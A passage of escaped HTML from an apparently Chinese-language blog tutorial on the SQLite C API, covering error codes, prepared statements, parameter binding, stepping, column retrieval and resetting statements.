class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_IOERR 10 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Some kind of disk I/O error occurred */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CORRUPT 11 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database disk image is malformed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTFOUND 12 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unknown opcode in sqlite3_file_control() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FULL 13 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Insertion failed because database is full */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CANTOPEN 14 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Unable to open the database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PROTOCOL 15 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Database lock protocol error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_EMPTY 16 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal use only */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_SCHEMA 17 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database schema changed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_TOOBIG 18 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* String or BLOB exceeds size limit */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_CONSTRAINT 19 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Abort due to constraint violation */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISMATCH 20 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Data type mismatch */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_MISUSE 21 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Library used incorrectly */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOLFS 22 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Uses OS features not supported on host */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_AUTH 23 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Authorization denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_FORMAT 24 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Not used */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_RANGE 25 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* 2nd parameter to sqlite3_bind out of range */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTADB 26 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* File opened that is not a database file */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOTICE 27 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Notifications from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_WARNING 28 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Warnings from sqlite3_log() */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ROW 100 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has another row ready */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_DONE 101 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* sqlite3_step() has finished executing */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* end-of-error-codes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e看看 SQLite 的头文件吧,很详细的。\u003c/p\u003e\n\u003ch2 id=\"使用-sqlite-声明\"\u003e使用 SQLite 声明\u003c/h2\u003e\n\u003cp\u003e使用 SQLite 声明来执行 SQL 语句,比直接调用 exec 更高效。\u003c/p\u003e\n\u003cp\u003e首先,你需要写好一个 SQL 语句,碰到待定的地方可以用问号,或者 \u003ccode\u003e$xxx\u003c/code\u003e 等形式表示。以下是我程序里面的示例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eADD_HOTEL_DATA\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eINSERT\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eINTO\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHOTEL\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elocation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprice\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enumRooms\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enumAvail\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVALUES\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eLOCATION\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003ePRICE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eNUMBEROFROOMS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"err\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003eNUMBEROFAVALIABLE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u0026#34;\u0026#34;;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后使用这个函数,准备声明:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 先初始化一个空的 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的数据库 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezSql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* SQL 语句 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003enByte\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串长度 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppStmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 指向一个需要初始化的声明 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003epzTail\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* OUT: 貌似是说 SQL 声明的尾部,可以不管吧 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后,使用 \u003ccode\u003esqlite_bind\u003c/code\u003e系列函数在声明上绑定变量,以下用 \u003ccode\u003esqlite3_bind_text\u003c/code\u003e 举例:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 在声明需要绑定位置的索引,从 1 开始计数 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要绑定的字符串 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 字符串的长度 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 某种析构函数,当绑定失败执行这个吧 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e还有 \u003ccode\u003esqlite3_bind_int\u003c/code\u003e,\u003ccode\u003esqlite3_bind_double\u003c/code\u003e之类,用法都差不多。\u003c/p\u003e\n\u003cp\u003e注意,你可以用这个函数寻找声明里面的索引:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_bind_parameter_index\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ezName\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要寻找的绑定位置 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果没找到的话,就返回 0。\u003c/p\u003e\n\u003cp\u003e现在你可以执行绑定完变量的声明了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个函数执行完,有三个状态:\u003ccode\u003eSQLITE_DONE\u003c/code\u003e,\u003ccode\u003eSQLITE_ROW\u003c/code\u003e和各种报错。接下来我们关注 ``SQLITE_ROW`,也就是返回一条行记录的状况,这个一般会出现在执行了 SELECT 的情况。\u003c/p\u003e\n\u003cp\u003e我们使用 \u003ccode\u003esqlite_column\u003c/code\u003e系列函数取出这些东西,先输入使用到的声明,然后输入索引,返回值就是里面的数据。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_blob\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_double\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite3_int64\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_int64\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_text16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite3_value\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nf\"\u003esqlite3_column_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_bytes16\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_column_type\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eiCol\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e清除绑定,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_reset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epStmt\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 需要用到的声明 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e删除声明,使用如下函数:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode 